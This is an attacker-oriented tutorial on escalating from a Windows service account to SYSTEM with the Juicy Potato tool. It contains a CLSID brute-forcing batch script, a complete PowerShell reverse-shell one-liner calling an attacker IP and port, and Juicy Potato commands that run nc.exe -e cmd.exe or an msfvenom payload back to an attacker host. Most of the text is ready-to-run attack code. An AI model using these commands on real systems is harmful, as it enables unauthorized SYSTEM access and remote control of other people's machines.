Juicy Potato is a Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.

First Check that you've SeImpersonatePrivilege Enabled

whoami /priv

With systeminfo we can see the target OS name

Traget Arch

Now we gonna get CLSID for our target machine

Resource

Here my traget is Windows 7 Professional i can go for Windows 7 Enterprise, copy all the CLSID from CLSID.list file.

Open your favourite editor and paste all the CLSID and name the file CLSID.list.

Our target machine is 32-bit arch. Grab the Juicy Potato binary for 32-bit os.

Resource

We gonna make a test.bat file which gonna help you to execute the jp32.exe and find you a valid CLSID for attack.

Content of our test.bat file

@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F %%i IN (C:\\Users\\Bob\Desktop\\CLSID.list) DO (
echo %%i !port!
C:\\Users\\Bob\\Desktop\\jp32.exe -z -l !port! -c %%i >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)

Note: C:\Users\Bob\Desktop\CLSID.list and C:\Users\Bob\Desktop\jp32.exe are the place where we gonna upload our CLSID.list file and jp32.exe (juicy potato 32-bit).

Next we gonna create shell.bat file for our reverse ahell.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.x.x',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

NOTE: '10.10.x.x',1234 is the attacker IP and listening port for our reverse shell.

generate a shell.exe binary using msfvenom.

Now upload jp32.exe, test.bat, CLSID.list, shell.bat or shell.exe / nc.exe to the user Desktop (same path that we used in our test.bat).

Now execute the test.bat

powershell Start-Process c:\Users\Bob\Desktop\test.bat (if not in powershell)
Start-Process c:\Users\Bob\Desktop\test.bat (if in powershell)

Now wait for 5-mins you will see result.log file is created type the file you gonna see bunch of CLSID.

We're insterested in SYSTEM CLSID. Grab one of SYSTEM CLSID.

Now we've found valid CLSID for SYSTEM we can use that CLSID and get system shell.

c:\\Users\\Bob\\Desktop\\JuicyPotato.exe -l 1234 -p c:\\Users\\Bob\\Desktop\\shell.bat -t * -c {c980e4c2-c178-4572-935d-a8a429884806} 

c:\\Users\\Bob\\Desktop\\jp32.exe -l 443 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\Users\\Bob\\Desktop\\nc.exe -e cmd.exe 192.168.x.x 443" -t * -c {659cdea7-489e-11d9-a9cd-000d56965251}

c:\\Users\\Bob\\Desktop\\jp32.exe -l 443 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\Users\\Bob\\Desktop\\shell.exe" -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}